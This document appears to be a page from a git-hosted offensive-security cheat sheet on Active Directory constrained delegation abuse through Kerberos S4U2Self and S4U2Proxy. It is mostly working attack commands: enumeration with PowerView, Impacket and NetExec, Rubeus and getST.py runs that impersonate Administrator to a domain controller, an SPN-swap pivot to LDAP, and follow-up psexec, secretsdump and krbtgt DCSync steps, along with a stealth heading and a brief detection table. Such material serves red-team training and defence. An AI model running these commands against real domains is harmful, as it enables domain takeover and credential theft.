repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-16-constrained-delegation-abuse-s4u2proxy.mdMarkdown194 lines9.3 KiBsource raw download

title: "Attack #16 β€” Constrained Delegation Abuse (S4U2Proxy)" description: "Constrained Delegation was designed as a safer alternative to Unconstrained Delegation. Instead of caching every user's TGT, a service configured for…" category: active-directory subcategory: "Kerberos & Delegation" tags: ["active-directory", "kerberos", "delegation", "hashing"] tools: ["NetExec", "Impacket", "Rubeus", "BloodHound", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Two/🟠 Attack #16 β€” Constrained Delegation Abuse (S4U2Proxy).md"#

🟠 Attack #16 β€” Constrained Delegation Abuse (S4U2Proxy)#


πŸ“– How It Works#

Constrained Delegation was designed as a safer alternative to Unconstrained Delegation. Instead of caching every user's TGT, a service configured for Constrained Delegation can only impersonate users to specific services listed in its msDS-AllowedToDelegateTo attribute. However, if an attacker compromises the constrained delegation account's credentials (password, hash, or keys), they can abuse this by using the S4U (Service for User) protocol extensions to impersonate any user β€” including Domain Admins β€” to those specific services.

The S4U Protocol Extensions#

Extension What It Does Key Detail
S4U2Self Service requests a ticket to ITSELF on behalf of another user Returns a forwardable service ticket for the target user
S4U2Proxy Service uses that ticket to request a ticket to a DIFFERENT service Impersonates the user to the allowed backend service

The Full Attack Flow#

1. Enumerate accounts with msDS-AllowedToDelegateTo set
2. Compromise that account (Kerberoasting, credential theft, etc.)
3. Use S4U2Self to obtain a ticket as Administrator to YOUR service
4. Use S4U2Proxy to exchange it for a ticket to the TARGET service (e.g., CIFS/DC01)
5. Authenticate to the target service as Administrator
6. Full access to the service β€” if CIFS/LDAP to DC, it's game over

βš™οΈ Prerequisites#

Requirement Detail
Compromised delegation account Password, NT hash, or AES key of the account with Constrained Delegation
msDS-AllowedToDelegateTo populated Must have target SPNs configured
Target user not in Protected Users Protected Users and "sensitive" accounts block delegation (unless Bronze Bit is used)

πŸ› οΈ Tools#

Tool Platform Notes
Rubeus Windows s4u command β€” full S4U2Self+S4U2Proxy flow
Impacket β€” getST.py Linux -impersonate flag for S4U exploitation
PowerView Windows Enumerate constrained delegation accounts
BloodHound Both Visual identification of delegation paths

πŸ’» Full Commands#

πŸ”΅ Step 1 β€” Enumerate Constrained Delegation#

# ── PowerView ─────────────────────────────────────────────────────────────────
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# ── AD Module ─────────────────────────────────────────────────────────────────
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
  Select-Object Name, msDS-AllowedToDelegateTo
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo |
  Select-Object Name, msDS-AllowedToDelegateTo
# ── Impacket ──────────────────────────────────────────────────────────────────
findDelegation.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10

# ── NetExec ───────────────────────────────────────────────────────────────────
nxc ldap DC01.corp.local -u low_user -p 'Password1' --delegated-access

πŸ”΄ Rubeus β€” S4U Attack (Windows)#

# ── S4U2Self + S4U2Proxy β€” impersonate Administrator to CIFS ──────────────────
.\Rubeus.exe s4u \
  /user:svc_sql \
  /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /impersonateuser:Administrator \
  /msdsspn:CIFS/DC01.corp.local \
  /ptt

# Flags:
# /user             = Compromised constrained delegation account
# /rc4              = NT hash (can also use /aes256: for stealth)
# /impersonateuser  = User to impersonate (any non-protected user)
# /msdsspn          = Target SPN from msDS-AllowedToDelegateTo
# /ptt              = Inject resulting ticket

# ── With AES key (stealthier) ────────────────────────────────────────────────
.\Rubeus.exe s4u \
  /user:svc_sql \
  /aes256:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /impersonateuser:Administrator \
  /msdsspn:CIFS/DC01.corp.local \
  /ptt

# ── Alternate SPN (SPN for a different service on same host) ──────────────────
# If msDS-AllowedToDelegateTo says CIFS/DC01, you can often request
# other services on the same host by changing the SPN prefix:
.\Rubeus.exe s4u \
  /user:svc_sql \
  /rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /impersonateuser:Administrator \
  /msdsspn:CIFS/DC01.corp.local \
  /altservice:LDAP/DC01.corp.local \
  /ptt
# /altservice = request ticket for a DIFFERENT service on the same host
# This works because the service name is not integrity-protected in the ticket

# ── Verify and use ───────────────────────────────────────────────────────────
klist
dir \\DC01.corp.local\C$
# If LDAP β†’ lsadump::dcsync /domain:corp.local /user:krbtgt

πŸ”΄ Impacket β€” getST.py (Linux)#

# ── S4U attack from Linux ─────────────────────────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  corp.local/svc_sql:'ServicePass1'

# ── Using NT hash ─────────────────────────────────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -hashes :a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -dc-ip 10.10.10.10 \
  corp.local/svc_sql

# ── Using AES key ─────────────────────────────────────────────────────────────
getST.py -spn CIFS/DC01.corp.local \
  -impersonate Administrator \
  -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -dc-ip 10.10.10.10 \
  corp.local/svc_sql

# ── Use the resulting ticket ──────────────────────────────────────────────────
export KRB5CCNAME=Administrator@CIFS_DC01.corp.local@CORP.LOCAL.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

🎯 OPSEC Tips#


πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
4769 Security Log (DC) S4U2Proxy TGS request β€” service account requesting TGS for another user to an allowed service
4768 Security Log (DC) TGT request for the constrained delegation service account
4624 Security Log Network logon as impersonated user from unexpected source

πŸ”— Attack Chain Context#

[Constrained Delegation] ──→ Impersonate Any User to Allowed Services
         β”‚
         β”œβ”€β”€β†’ πŸ”‘ Kerberoast service account hash β†’ S4U β†’ DA impersonation
         β”œβ”€β”€β†’ πŸ”„ /altservice β†’ pivot from CIFS to LDAP β†’ DCSync
         β”œβ”€β”€β†’ πŸ”— Chain: Kerberoast (#2) β†’ crack hash β†’ S4U β†’ domain compromise
         β”œβ”€β”€β†’ πŸ†š Bronze Bit (#18) bypasses "sensitive" account protection
         └──→ πŸ’€ Defeated by: Protected Users group, remove delegation, rotate passwords

βœ… Attack #16 β€” Constrained Delegation complete.